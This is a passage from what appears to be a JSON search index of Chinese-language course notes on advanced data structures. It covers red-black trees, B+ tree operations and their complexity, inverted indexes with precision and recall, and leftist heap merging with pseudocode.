\u7136\u540e\u89e3\u51b3\uff0c1 \u5982\u679c\u8fdb\u5165 3 \u548c 4\u4e5f\u53ef\u4ee5\u9a6c\u4e0a\u89e3\u51b3\uff0c\u8fdb\u5165 2 \u540e\u4e5f\u56e0\u4e3a\u7236\u7ed3\u70b9\u662f\u7ea2\u8272\u53ef\u4ee5\u9a6c\u4e0a\u89e3\u51b3\u3002\u56e0\u6b64\u5173\u952e\u5728\u4e8e\u60c5\u51b5 2 \u53ef\u80fd\u51fa\u73b0\u5f88\u591a\u6b21\uff0c\u4f46\u6700\u591a\u4e5f\u53ea\u662f\u6811\u9ad8 \\(O(\\log n)\\) \u6b21\uff0c\u56e0\u4e3a\u6bcf\u6b21\u90fd\u4f1a\u4e0a\u63a8 1 \u683c\u3002\u603b\u800c\u8a00\u4e4b\uff0c\u56e0\u4e3a\u60c5\u51b5 1\u30013 \u548c 4 \u5728\u95ee\u9898\u89e3\u51b3\u524d\u6700\u591a\u8fdb\u53bb\u4e00\u6b21\uff0c\u6240\u4ee5\u6700\u591a 3 \u6b21\u65cb\u8f6c\u52a0\u4e0a \\(O(\\log n)\\) \u6b21\u989c\u8272\u8c03\u6574\u53ef\u4ee5\u89e3\u51b3\u95ee\u9898</p> Question <p>\u8003\u8651\u5c06\u4e00\u4e2a\u7ed3\u70b9 X \u63d2\u5165\u7ea2\u9ed1\u6811 T0\uff0c\u5f97\u5230\u7ea2\u9ed1\u6811 T1\uff0c\u7136\u540e\u7d27\u63a5\u7740\u4e0b\u4e00\u6b65\u64cd\u4f5c\u53c8\u7acb\u523b\u5c06 X \u4ece T1 \u5220\u9664\u5f97\u5230 T2\uff0c\u8bf7\u95ee T0 \u548c T2 \u662f\u5426\u4e00\u5b9a\u4e00\u6837\uff1f\u82e5\u662f\uff0c\u8bf7\u7ed9\u51fa\u6e05\u6670\u7684\u8bc1\u660e\uff1b\u82e5\u4e0d\u662f\uff0c\u8bf7\u4e3e\u51fa\u53cd\u4f8b\u3002</p> <p></p>"},{"location":"NOTE/ADS/wk2/#b_1","title":"B+\u6811","text":"<p>Definition</p> <p>A B+ tree of order ** \\(M\\) ** is a tree with the following properties:</p> <ul> <li>The root is either a leaf or has between \\(2\\) and \\(M\\) children.</li> <li>All noneleaf nodes (except the root) have between $ \\lceil \\frac{M}{2} \\rceil $ and \\(M\\) children.</li> <li>All leaves are at the same depth.</li> </ul> <p>\u4e0e\u7ea2\u9ed1\u6811\u7684\u5b9a\u4e49\u6bd4\u8d77\u6765\uff0cB+\u6811\u7684\u7684\u5b9a\u4e49\u5c31\u663e\u5f97\u66f4\u4e3a\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6bcf\u4e2a\u7ed3\u70b9\u4e2d\u50a8\u5b58\u7684\u952e\u503c\u4e2a\u6570\u7684\u9650\u5236\u548c\u5b69\u5b50\u4e2a\u6570\u7684\u9650\u5236\uff0c\u4ee5\u53ca\u6240\u6709\u952e\u503c\u90fd\u5728\u53f6\u8282\u70b9\u4e2d\u6709\u5b58\u50a8\u3002</p> <p>Question</p> <ul> <li>\u4e3a\u4ec0\u4e48\u6839\u8282\u70b9\u7684\u5b69\u5b50\u4e2a\u6570\u4ece2\u5f00\u59cb\uff1f</li> </ul> <p>\u56e0\u4e3a\u4e00\u5f00\u59cb\u63d2\u5165\u5230\u6839\u7ed3\u70b9\u7206\u70b8\u65f6\uff0c\u6839\u8282\u70b9\u53ea\u80fd\u5206\u88c2\u6210\u4e24\u4e2a\u5b69\u5b50</p> <ul> <li>\u4e3a\u4ec0\u4e48\u975e\u53f6\u5b50\u7ed3\u70b9\u7684\u5b69\u5b50\u4e2a\u6570\u8981\u6c42\u662f \\(\\lceil \\frac{M}{2} \\rceil\\) \uff1f</li> </ul> <p>\u662f\u56e0\u4e3a\u63d2\u5165\u5230\u7206\u70b8\u7684\u65f6\u5019\u5c31\u662f\u5206\u88c2\u5230\u8fd9\u4e2a\u6570\u91cf </p> <ul> <li>\u6ce8\u610f\u975e\u53f6\u5b50\u8282\u70b9\u5b69\u5b50\u4e2a\u6570\u7684\u9650\u5236\u662f \\(\\lceil \\frac{M}{2} \\rceil\\)\uff0c\u5982\u679c\u95ee\u7684\u662fkey\u7684\u4e2a\u6570\uff0c\u90a3\u4e48\u662f \\(\\lceil \\frac{M}{2} \\rceil-1\\)</li> </ul>"},{"location":"NOTE/ADS/wk2/#b_2","title":"B+\u6811\u641c\u7d22","text":"<p>\u6839\u636e B+ \u6811\u5b9a\u4e49\uff0c\u9700\u8981\u5728\u975e\u53f6\u7ed3\u70b9\u5c42\u9010\u5c42\u548c\u5b58\u50a8\u7684\u952e\u503c\u6bd4\u8f83\u4ece\u800c\u786e\u5b9a\u53bb\u54ea\u4e00\u4e2a\u5b69\u5b50\u7ed3\u70b9\u3002 \u56e0\u6b64\u65f6\u95f4\u590d\u6742\u5ea6\u6709\u4e24\u4e2a\u91cd\u8981\u56e0\u7d20\uff1a\u4e00\u4e2a\u662f\u6811\u7684\u9ad8\u5ea6\uff0c\u53e6\u4e00\u4e2a\u662f\u6bcf\u4e00\u5c42\u641c\u7d22\u9700\u8981\u7684\u65f6\u95f4\u3002\u6811\u7684\u9ad8\u5ea6\u975e\u5e38\u597d\u8ba1\u7b97\uff0c\u6700\u5dee\u7684\u60c5\u51b5\u4e5f\u662f\u6bcf\u4e2a\u7ed3\u70b9\u90fd\u5b58 \\(\\lceil \\frac{M}{2} \\rceil\\) \u4e2a\u7ed3\u70b9\uff0c\u56e0\u6b64\u6700\u5927\u9ad8\u5ea6\u662f \\(O(\\log_{\u2308M/2\u2309} N)\\) \u7684\u3002 \u7136\u540e\u6bcf\u4e00\u5c42\u56e0\u4e3a\u952e\u503c\u662f\u6392\u597d\u5e8f\u7684\uff0c\u56e0\u6b64\u7528\u4e8c\u5206\u67e5\u627e\u627e\u5230\u8981\u53bb\u54ea\u4e2a\u5b69\u5b50\u7ed3\u70b9\uff0c\u590d\u6742\u5ea6\u4e3a \\(O(\\log_2 M)\\)\uff0c\u7efc\u5408\u53ef\u5f97\u641c\u7d22\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a</p> \\[     O(\\log_2M \\cdot \\log_{\u2308M/2\u2309} N) = (\\log_2 \\frac{M}{2}+1) \\cdot \\frac{\\log_2 N}{\\log_2 \\frac{M}{2}} = O(\\log N) \\]"},{"location":"NOTE/ADS/wk2/#b_3","title":"B+\u6811\u63d2\u5165","text":"<p>\u4f2a\u4ee3\u7801\u5982\u4e0b</p> <pre><code>Btree  Insert ( ElementType X,  Btree T ) \n{ Search from root to leaf for X and find the proper leaf node;\nInsert X;\nwhile ( this node has M+1 keys ) \n{split it into 2 nodes with (M+1)/2 and (M+1)/2  keys,\n respectively;\n if (this node is the root)\n create a new root with two children;\ncheck its parent;\n}\n}\n</code></pre> <p>Key-point</p> <p>\u5206\u88c2\u65f6\uff0c\u4ee5\u53f3\u534a\u90e8\u5206\u7684\u6700\u5c0f\u5b69\u5b50\u4f5c\u4e3a\u5206\u88c2\u540e\u7684\u7d22\u5f15\uff0c\u4f8b\u5982 2-3 \u6811\uff0c\u6839\u8282\u70b9\u4e3a\uff081,2,3\uff09,\u63d2\u51654\u4e4b\u540e\uff0c\u5206\u88c2\u4e3a\uff081,2\uff09\u548c\uff083,4\uff09,\u6839\u8282\u70b9\u53d8\u4e3a3\uff0c\u5de6\u5b69\u5b50\u4e3a\uff081,2\uff09,\u53f3\u5b69\u5b50\u4e3a(3,4)</p> <p>\u5c31\u662f\u627e\u5230\u63d2\u5165\u7684\u4f4d\u7f6e\uff0c\u7136\u540e\u63d2\u5165\u770b\u7ed3\u70b9\u662f\u5426\u653e\u5f97\u4e0b\uff0c\u653e\u4e0d\u4e0b\u5c31\u5206\u88c2\uff0c\u5982\u679c\u5206\u88c2\u540e\u5b50\u7ed3\u70b9\u4e2a\u6570\u4e5f\u8fc7\u591a\u5219\u7ee7\u7eed\u5411\u4e0a\u4e00\u5c42\u5206\u88c2\uff0c\u76f4\u5230\u6839\u7ed3\u70b9\u5b69\u5b50\u7206\u6ee1\u5219\u5c06\u6839\u7ed3\u70b9\u5206 \u88c2\u5e76\u751f\u6210\u65b0\u7684\u6839\u7ed3\u70b9\uff0c\u5f53\u7136\u8fd8\u8981\u6ce8\u610f\u5373\u4f7f\u4e0d\u5206\u88c2\u4e5f\u53ef\u80fd\u9700\u8981\u6309 B+ \u6811\u5b9a\u4e49\u66f4\u65b0\u4e0a\u5c42\u7ed3\u70b9\u3002\u6211\u4eec\u77e5\u9053\u6811\u6709 $O(\\log_{\u2308M/2\u2309} N) $\u5c42\uff0c\u6bcf\u5c42\u64cd\u4f5c\u6700\u591a\u662f \\(O(M)\\) \u7684\uff08\u5982\u66f4\u65b0\u7ed3\u70b9\u6216\u8005\u5206\u88c2\uff0c\u65e0\u975e\u5c31\u662f\u66f4\u6539 \\(O(M)\\) \u4e2a \u952e\u503c\u4ee5\u53ca\u4fee\u6539 \\(O(M)\\) \u4e2a\u7236\u5b50\u6307\u9488\uff09\uff0c\u56e0\u6b64\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a </p> \\[O(M \\cdot \\log_{\u2308M/2\u2309} N) = O(\\frac{M}{\\log M} \\log N)\\]"},{"location":"NOTE/ADS/wk2/#b_4","title":"B+\u6811\u5220\u9664","text":"<p>\u60f3\u6cd5\u5f88\u7b80\u5355\uff0c\u56e0\u4e3a\u53ea\u9700\u628a\u63d2\u5165\u65f6\u5206\u88c2\u7ed3\u70b9\u6539\u4e3a\u5408\u5e76\u952e\u503c\u6216\u5b69\u5b50\u6570\u91cf\u5c11\u7684 \u7ed3\u70b9\uff0c\u5f53\u7136\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u4e3a\u4e86\u786e\u4fdd\u5408\u5e76\u540e\u952e\u503c\u6570\u91cf\u4e0d\u4f1a\u8d85\u8fc7 M \u4e14\u51cf\u5c11\u5408\u5e76\u6b21\u6570\uff0c\u53ef\u4ee5\u5148\u770b\u770b\u5144 \u5f1f\u7ed3\u70b9\u662f\u4e0d\u662f\u952e\u503c\u8fd8\u5f88\u591a\uff0c\u591a\u7684\u8bdd\u62ff\u4e00\u4e2a\u8fc7\u6765\u5373\u53ef\uff0c\u4e8b\u5b9e\u4e0a\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6\u548c\u63d2\u5165\u5206\u6790\u7c7b\u4f3c\uff0c\u4e5f \u4e3a  \\(O(\\frac{M}{\\log M} \\log N)\\)</p>"},{"location":"NOTE/ADS/wk3_1/","title":"\u5012\u6392\u7d22\u5f15","text":"<p> \u7ea6 716 \u4e2a\u5b57  25 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 3 \u5206\u949f</p> <p>\u5012\u6392\u6587\u4ef6\u662f\u4e00\u79cd\u6570\u636e\u7ed3\u6784\uff0c\u5b83\u5b58\u50a8\u4e86\u67d0\u4e2a\u7279\u5b9a\u8bcd\u6c47\u5728\u6587\u672c\u4e2d\u6240\u6709\u51fa\u73b0\u4f4d\u7f6e\u7684\u7d22\u5f15\u3002\u8fd9\u4e9b\u7d22\u5f15\u53ef\u4ee5\u662f\u9875\u9762\u7f16\u53f7\u3001\u884c\u53f7\u6216\u6587\u672c\u4e2d\u7684\u5177\u4f53\u4f4d\u7f6e\u7b49\u3002\u7b80\u800c\u8a00\u4e4b\uff0c\u5012\u6392\u6587\u4ef6\u5c31\u662f\u4e00\u79cd\u8bb0\u5f55\u4e86\u8bcd\u6c47\u51fa\u73b0\u4f4d\u7f6e\u7684\u5730\u56fe\uff0c\u4fbf\u4e8e\u5feb\u901f\u68c0\u7d22\u5230\u8be5\u8bcd\u6c47\u5728\u6587\u6863\u4e2d\u7684\u6240\u6709\u51fa\u73b0\u70b9\u3002</p> <p>\u50a8\u5b58\u5176\u51fa\u73b0\u7684\u9891\u7387\u662f\u56e0\u4e3a\u4ece\u51fa\u73b0\u6b21\u6570\u8f83\u5c11\u7684\u8bcd\u6c47\u4e2d\u627e\u5230\u7684\u6587\u6863\u66f4\u6709\u53ef\u80fd\u662f\u76f8\u5173\u6587\u6863\u3002\u800c\u4e14\uff0c\u51fa\u73b0\u6b21\u6570\u8f83\u5c11\u7684\u8bcd\u6c47\u66f4\u6709\u53ef\u80fd\u662f\u7279\u5b9a\u7684\u8bcd\u6c47\uff0c\u56e0\u6b64\u66f4\u6709\u53ef\u80fd\u662f\u76f8\u5173\u6587\u6863\u3002</p> <p>\u6784\u5efa\u5012\u6392\u7d22\u5f15\uff1a <pre><code>while ( read a document D ) {\n    while ( read a term T in D ) {\n        if ( Find( Dictionary, T ) == false )\n            Insert( Dictionary, T );\n        Get T\u2019s posting list;\n        Insert a node to T\u2019s posting list;\n    }\n}\nWrite the inverted index to disk;\n</code></pre></p> <p>\u9700\u8981\u8003\u8651\u5f88\u591a\u95ee\u9898</p> <ul> <li> <p>Steaming: \u8bcd\u6c47\u7684\u53d8\u5f62\u95ee\u9898\uff0c\u5982\u201crun\u201d\u548c\u201crunning\u201d\u662f\u540c\u4e00\u4e2a\u8bcd\u6c47\u7684\u4e0d\u540c\u5f62\u5f0f\u3002\u6ca1\u5fc5\u8981\u5206\u522b\u50a8\u5b58</p> </li> <li> <p>Stop words\uff1a\u5728\u641c\u7d22\u5f15\u64ce\u4e2d\u6ca1\u6709\u5b9e\u9645\u610f\u4e49\u7684\u8bcd\u6c47\uff0c\u5982\u201ca\u201d\u3001\u201can\u201d\u3001\u201cthe\u201d\u7b49\u3002\u5728\u5012\u6392\u6587\u4ef6\u4e2d\uff0c\u8fd9\u4e9b\u8bcd\u6c47\u7684\u50a8\u5b58\u4f1a\u5360\u7528\u5927\u91cf\u7684\u7a7a\u95f4\uff0c\u800c\u4e14\u5bf9\u641c\u7d22\u7ed3\u679c\u6ca1\u6709\u5b9e\u9645\u610f\u4e49\u3002</p> </li> <li> <p>\u641c\u7d22\u7684\u65b9\u5f0f\uff1asearch\u6811\u3001\u54c8\u5e0c\u8868\uff1b\u6811\u67e5\u8be2\u6bd4\u8f83\u6162\uff0c\u8303\u56f4\u67e5\u8be2\u6bd4\u8f83\u5757\uff1b\u54c8\u5e0c\u8868\u67e5\u8be2\u6bd4\u8f83\u5feb\uff0c\u4f46\u662f\u8303\u56f4\u67e5\u8be2\u6bd4\u8f83\u6162\uff0c\u800c\u4e14\u9700\u8981\u8003\u8651\u54c8\u5e0c\u51b2\u7a81\u7684\u95ee\u9898\u3002</p> </li> <li> <p>\u5185\u5b58\u7ba1\u7406</p> </li> </ul> <pre><code>  BlockCnt = 0; \nwhile ( read a document D ) {\n  while ( read a term T in D ) {\n    if ( out of memory ) {\n      Write BlockIndex[BlockCnt] to disk;\n      BlockCnt ++;\n      FreeMemory;\n    }\n    if ( Find( Dictionary, T ) == false )\n      Insert( Dictionary, T );\n    Get T\u2019s posting list;\n    Insert a node to T\u2019s posting list;\n  }\n}\nfor ( i=0; i&lt;BlockCnt; i++ )\nMerge( InvertedIndex, BlockIndex[i] );\n</code></pre> <ul> <li>\u5206\u5e03\u5f0f\u7d22\u5f15\uff1a\u5c06\u5012\u6392\u7d22\u5f15\u5206\u5e03\u5728\u591a\u4e2a\u670d\u52a1\u5668\u4e0a\uff0c\u6bcf\u4e2a\u670d\u52a1\u5668\u8d1f\u8d23\u4e00\u90e8\u5206\u7d22\u5f15\u3002\u8fd9\u6837\u53ef\u4ee5\u63d0\u9ad8\u641c\u7d22\u7684\u6548\u7387\uff0c\u51cf\u5c11\u5355\u4e2a\u670d\u52a1\u5668\u7684\u8d1f\u8f7d\u3002</li> </ul> <ul> <li>\u538b\u7f29\u5b58\u50a8</li> </ul> <p>\u5c06stop words\u53bb\u6389\uff0c\u5b58\u50a8\u65f6\u5b58\u50a8\u6bcf\u4e2a\u5355\u8bcd\u7684\u957f\u5ea6\u800c\u4e0d\u662f\u5176\u9996\u5b57\u6bcd\u51fa\u73b0\u7684\u4f4d\u7f6e\uff0c\u8fd9\u6837\u53ef\u4ee5\u907f\u514d\u5927\u6570\u5b57\u7684\u5b58\u50a8\u3002</p> <ul> <li>\u6587\u6863\u9608\u503c\u7684\u63a7\u5236</li> </ul> <ol> <li> <p>\u6587\u6863\u9608\u503c\u63a7\u5236\uff1a</p> <ul> <li>\u53ea\u68c0\u7d22\u6309\u7167\u6743\u91cd\u6392\u540d\u7684\u524d <code>x</code> \u4e2a\u6587\u6863\u3002</li> <li>\u4e0d\u9002\u7528\u4e8e\u5e03\u5c14\u67e5\u8be2\uff0c\u56e0\u4e3a\u5e03\u5c14\u67e5\u8be2\u901a\u5e38\u9700\u8981\u8fd4\u56de\u6240\u6709\u5339\u914d\u7684\u6587\u6863\uff0c\u800c\u4e0d\u662f\u6309\u76f8\u5173\u6027\u6392\u5e8f\u7684\u5b50\u96c6\u3002</li> <li>\u7f3a\u70b9\u662f\u7531\u4e8e\u622a\u65ad\u53ef\u80fd\u4f1a\u9057\u6f0f\u4e00\u4e9b\u76f8\u5173\u7684\u6587\u6863\uff0c\u5373\u53ea\u9009\u62e9\u6392\u540d\u9760\u524d\u7684\u6587\u6863\uff0c\u53ef\u80fd\u4f1a\u5ffd\u7565\u91cd\u8981\u7684\u6587\u6863\u3002</li> </ul> </li> <li> <p>\u67e5\u8be2\u9608\u503c\u63a7\u5236\uff1a</p> <ul> <li>\u5c06\u67e5\u8be2\u8bcd\u6309\u7167\u8bcd\u9891\u5347\u5e8f\u6392\u5217\uff08\u4ece\u6700\u4e0d\u5e38\u89c1\u7684\u8bcd\u5230\u6700\u5e38\u89c1\u7684\u8bcd\uff09\u3002</li> <li>\u7cfb\u7edf\u6839\u636e\u539f\u59cb\u67e5\u8be2\u8bcd\u7684\u67d0\u4e2a\u767e\u5206\u6bd4\u8fdb\u884c\u641c\u7d22\u3002\u56fe\u4e2d\u663e\u793a\u4e86\u6309 20%\u300140%\u300180% \u7684\u6bd4\u4f8b\u4f7f\u7528\u67e5\u8be2\u8bcd\uff08\u4ece T1 \u5230 T10\uff09</li> </ul> </li> </ol> <p>\u641c\u7d22\u7684\u6027\u80fd\u8861\u91cf\u6307\u6807\u6709\u4e24\u4e2a\uff1a\u53ec\u56de\u7387**\u548c**\u51c6\u786e\u7387\u3002\u53ec\u56de\u7387(\u80fd\u641c\u7d22\u5230\u591a\u5c11)\u662f\u6307\u68c0\u7d22\u5230\u7684\u76f8\u5173\u6587\u6863\u6570\u4e0e\u7cfb\u7edf\u4e2d\u6240\u6709\u76f8\u5173\u6587\u6863\u6570\u7684\u6bd4\u503c\uff0c\u51c6\u786e\u7387(\u6b63\u786e\u7684\u662f\u591a\u5c11)\u662f\u6307\u68c0\u7d22\u5230\u7684\u76f8\u5173\u6587\u6863\u6570\u4e0e\u68c0\u7d22\u5230\u7684\u6587\u6863\u603b\u6570\u7684\u6bd4\u503c\u3002</p> Relevant Irrelevant Retrieved \\(R_R\\) \\(I_R\\) Not Retrieved \\(R_N\\) \\(I_N\\) <p>Perscision = \\(\\dfrac{R_R}{R_R+I_R}\\)</p> <p>Recall = \\(\\dfrac{R_R}{R_R+R_N}\\)</p>"},{"location":"NOTE/ADS/wk3_2/","title":"\u5de6\u5f0f\u5806\u4e0e\u659c\u5806","text":"<p> \u7ea6 3467 \u4e2a\u5b57  78 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 13 \u5206\u949f</p>"},{"location":"NOTE/ADS/wk3_2/#_2","title":"\u5de6\u5f0f\u5806","text":"<p>\u5728\u6709\u7684\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u5806\u7684\u5408\u5e76\u64cd\u4f5c\uff0c\u5de6\u5f0f\u5806\u5c31\u662f\u4e3a\u4e86\u5728merge\u64cd\u4f5c\u4e2d\u63d0\u4f9b\u66f4\u597d\u7684\u6027\u80fd\u3002</p>"},{"location":"NOTE/ADS/wk3_2/#_3","title":"\u5b9a\u4e49","text":"<p>NPL</p> <p>\u4e00\u4e2a\u8282\u70b9X\u7684 NPL(Null Path Length) \uff0cNPL(X)\u5b9a\u4e49\u4e3a\u4ece X \u5230\u4e00\u4e2a\u6ca1\u6709\u4e24\u4e2a\u513f\u5b50\u7684\u7ed3\u70b9\u7684\u6700\u77ed\u8def\u5f84\u7684\u957f\u3002\u56e0\u6b64\uff0c\u5177\u6709 0 \u4e2a\u6216 1 \u4e2a\u513f\u5b50\u7684\u7ed3\u70b9\u7684 Npl \u4e3a 0\uff0c\u4e14\u89c4\u5b9a Npl(null)=-1</p> \\[ NPL(X) = 1+min(NPL(left), NPL(right)) \\] <p>\u5de6\u5f0f\u5806-leftist Heap</p> <p>\u6bcf\u4e2a\u7ed3\u70b9\u7684\u5de6\u5b69\u5b50\u7684 Npl \u90fd\u8981\u5927\u4e8e\u7b49\u4e8e\u5176\u53f3\u5b69\u5b50\u7684 Npl\u3002\u6ce8\u610f\u8fd9\u4e00\u5b9a\u4e49\u9002\u7528\u4e8e\u6ca1\u6709\u4e24\u4e2a\u5b69\u5b50\u7684\u7ed3\u70b9\uff0c\u56e0\u4e3a\u6709\u5b9a\u4e49 Npl(null)=-1</p> <p>\u5411\u5de6\u8fb9\u503e\u659c\u6709\u4e00\u4e2a\u5f88\u597d\u7684\u6027\u8d28</p>"},{"location":"NOTE/ADS/wk3_2/#_4","title":"\u6027\u8d28","text":"<p>\u5728\u53f3\u8def\u5f84\u4e0a\u6709 \\(r\\) \u4e2a\u7ed3\u70b9\u7684\u5de6\u5f0f\u5806\u5fc5\u7136\u81f3\u5c11\u6709 \\(2^r \u2212 1\\) \u4e2a\u7ed3\u70b9\uff08\u53f3\u8def\u5f84\u6307\u4ece\u6839\u7ed3\u70b9\u51fa\u53d1\u4e00\u8def\u627e\u53f3\u5b69\u5b50\u76f4\u5230\u627e\u5230\u53f6\u5b50\u7684\u8def\u5f84\uff09\u3002</p> <p>\u8fd9\u4e00\u5b9a\u4e49\u6307\u51fa\uff1a\u82e5\u4e00\u5171\u6709 \\(n\\) \u4e2a\u7ed3\u70b9\uff0c\u90a3\u4e48\u53f3\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u4e2a\u6570\u81f3\u591a\u4e3a \\(\\log(n + 1)\\)\uff0c\u56e0\u6b64\u5de6\u5f0f\u5806\u7684\u53f3\u8def\u5f84\u7ed3\u70b9\u6570\u81f3\u591a\u4e3a \\(\\log(n + 1)=O(\\log n)\\)\u3002</p> <p>Proof</p> <p>\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e\u8fd9\u4e00\u6027\u8d28</p> <p>\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e\u3002\u82e5 \\(r = 1\\)\uff0c\u5219\u663e\u7136\u81f3\u5c11\u5b58\u5728 1 \u4e2a\u7ed3\u70b9\u3002\u8bbe\u5b9a\u7406\u5bf9\u53f3\u8def\u5f84\u4e0a\u6709\u5c0f\u4e8e\u7b49\u4e8e \\(r\\) \u4e2a\u7ed3\u70b9\u7684\u60c5\u51b5\u90fd\u6210\u7acb\uff0c\u73b0\u5728\u8003\u8651\u5728\u53f3\u8def\u5f84\u4e0a\u6709 \\(r + 1\\) \u4e2a\u7ed3\u70b9\u7684\u5de6\u5f0f\u5806\u3002\u6b64\u65f6\uff0c\u6839\u7684\u53f3\u5b50\u6811\u6070\u597d\u5728\u53f3\u8def\u5f84\u4e0a\u6709 \\(r\\) \u4e2a\u7ed3\u70b9\uff0c\u56e0\u6b64\u53f3\u5b50\u6811\u5927\u5c0f\u81f3\u5c11\u4e3a \\(2^r \u2212 1\\)\u3002\u8003\u8651\u5de6\u5b50\u6811\uff0c\u6839\u636e\u5de6\u5f0f\u5806\u5b9a\u4e49\u5de6\u5b50\u6811\u7684 Npl \u5fc5\u987b\u5927\u4e8e\u7b49 \u4e8e \\(r \u2212 1\\)\uff0c\u4e8b\u5b9e\u4e0a\u5f88\u5bb9\u6613\u5f52\u7eb3\u5f97\u5230 Npl \u5927\u4e8e\u7b49\u4e8e \\(r \u2212 1\\) \u7684\u6811\u53f3\u8def\u5f84\u81f3\u5c11\u6709 \\(r\\) \u4e2a\u7ed3\u70b9\uff0c\u56e0\u6b64\u5de6\u5b50\u6811\u5927\u5c0f\u4e5f \u81f3\u5c11\u4e3a \\(2^r \u2212 1\\)\uff0c\u56e0\u6b64\u6574\u68f5\u6811\u7684\u7ed3\u70b9\u6570\u81f3\u5c11\u4e3a</p> \\[1 + (2^r \u2212 1) + (2^r \u2212 1) = 2^{r+1} \u2212 1\\]"},{"location":"NOTE/ADS/wk3_2/#_5","title":"\u64cd\u4f5c\u4e0e\u5b9e\u73b0","text":"<p>wyy\u6709\u8bdd\u8bf4</p> <p>\u6709\u4e00\u4e2a\u76f4\u89c9\u662f\u503c\u5f97\u7279\u522b\u8bf4\u660e\u7684\uff0c\u5c31\u662f\u6211\u4eec\u53d1\u73b0\u5e73\u8861\u641c\u7d22\u6811\u4e2d\u6211\u4eec\u901a\u5e38\u8981\u6c42\u6811\u8d8a\u5e73\u8861\u8d8a\u597d\uff0c\u4f46\u5806\u5374\u4f3c\u4e4e\u4e0d\u9700\u8981\u8fd9\u4e00\u70b9\uff0c\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\u3002\u8fd9\u662f\u56e0\u4e3a\u5806\u4e0d\u652f\u6301 find \u64cd\u4f5c\uff0c\u6240\u4ee5\u5de6\u5f0f\u5806\u5de6\u8fb9\u7684\u7ed3\u70b9\u5728\u64cd\u4f5c\u4e2d\u53ef\u4ee5\u5b8c\u5168\u4e0d\u88ab\u8bbf\u95ee\uff0c\u800c\u6211\u4eec\u4f1a\u77e5\u9053\u53ea\u5728\u53f3\u8def\u5f84\u4e0a\u64cd\u4f5c\u4e5f\u5b8c\u5168\u53ef\u4ee5\u89e3\u51b3\u63d2\u5165\u3001\u5220\u9664\u6700\u5c0f\u503c\u548c\u5408\u5e76\uff0c\u56e0\u6b64\u6211\u4eec\u5b8c\u5168\u4e0d\u9700\u8981\u4fdd\u6301\u6811\u7684\u5e73\u8861\u3002</p>"},{"location":"NOTE/ADS/wk3_2/#mergeinsert","title":"Merge&amp;Insert","text":"<p>Insert\uff1a\u53ef\u4ee5\u89c6\u4e3a\u4e00\u4e2a\u5806\u548c\u4e00\u4e2a\u5355\u7ed3\u70b9\u7684\u5806\u7684Merge\uff0c\u56e0\u6b64\u95ee\u9898\u8f6c\u5316\u4e3aMerge\u3002</p> <p>\u9012\u5f52\u5b9e\u73b0</p> <pre><code>PriorityQueue  Merge ( PriorityQueue H1, PriorityQueue H2 )\n{ \n    if ( H1 == NULL )   return H2;  \n    if ( H2 == NULL )   return H1;  \n    if ( H1-&gt;Element &lt; H2-&gt;Element )  return Merge1( H1, H2 );\n    else return Merge1( H2, H1 );\n}\n\nstatic PriorityQueue\nMerge1( PriorityQueue H1, PriorityQueue H2 )\n{ \n    if ( H1-&gt;Left == NULL )     /* single node */\n        H1-&gt;Left = H2;  /* H1-&gt;Right is already NULL \n                    and H1-&gt;Npl is already 0 */\n    else {\n        H1-&gt;Right = Merge( H1-&gt;Right, H2 );     /* Step 1 &amp; 2 */\n        if ( H1-&gt;Left-&gt;Npl &lt; H1-&gt;Right-&gt;Npl )\n            SwapChildren( H1 ); /* Step 3 */\n        H1-&gt;Npl = H1-&gt;Right-&gt;Npl + 1;\n    } /* end else */\n    return H1;\n}\n</code></pre> <p>Note</p> <p>\u8fd9\u91cc\u5206\u5f00\u4e24\u4e2a\u51fd\u6570\u5199\u4e3b\u8981\u662f\u4e3a\u4e86\u907f\u514d\u91cd\u590d\u5199<code>H1</code>\u63a5\u5230<code>H2</code>\u548c<code>H2</code>\u63a5\u5230<code>H1</code>\u7684\u4ee3\u7801\uff0c\u8fd9\u6837\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7684\u6a21\u5757\u5316\u51cf\u5c11\u4ee3\u7801\u91cf\u3002</p> <p>\u5176\u4e3b\u8981\u6b65\u9aa4\u4e3a</p> <ol> <li>\u5982\u679c\u4e24\u4e2a\u5806\u4e2d\u81f3\u5c11\u6709\u4e00\u4e2a\u662f\u7a7a\u7684\uff0c\u90a3\u4e48\u76f4\u63a5\u8fd4\u56de\u53e6\u4e00\u4e2a\u5373\u53ef\uff1b</li> <li>\u5982\u679c\u4e24\u4e2a\u5806\u90fd\u975e\u7a7a\uff0c\u6211\u4eec\u6bd4\u8f83\u4e24\u4e2a\u5806\u7684\u6839\u7ed3\u70b9 key \u7684\u5927\u5c0f\uff0ckey \u5c0f\u7684\u662f H1\uff0ckey \u5927\u7684\u662f H2\uff1b</li> <li>\u5982\u679c H1 \u53ea\u6709\u4e00\u4e2a\u9876\u70b9\uff08\u6839\u636e\u5de6\u5f0f\u5806\u7684\u5b9a\u4e49\uff0c\u53ea\u8981\u5b83\u6ca1\u6709\u5de6\u5b69\u5b50\u5c31\u4e00\u5b9a\u662f\u5355\u70b9\uff09\uff0c\u76f4\u63a5\u628a H2 \u653e\u5728 H1 \u7684\u5de6\u5b50\u6811\u5c31\u5b8c\u6210\u4efb\u52a1\u4e86\uff08\u5f88\u5bb9\u6613\u9a8c\u8bc1\u8fd9\u6837\u5f97\u5230\u7684\u7ed3\u6784\u7b26\u5408\u5de6\u5f0f\u5806\u6027\u8d28\uff0c\u6b64\u65f6 Npl \u4e5f\u6ca1\u6709\u53d8\u5316\uff09\uff1b</li> <li>\u5982\u679c H1 \u4e0d\u53ea\u6709\u4e00\u4e2a\u9876\u70b9\uff0c\u5219\u5c06 H1 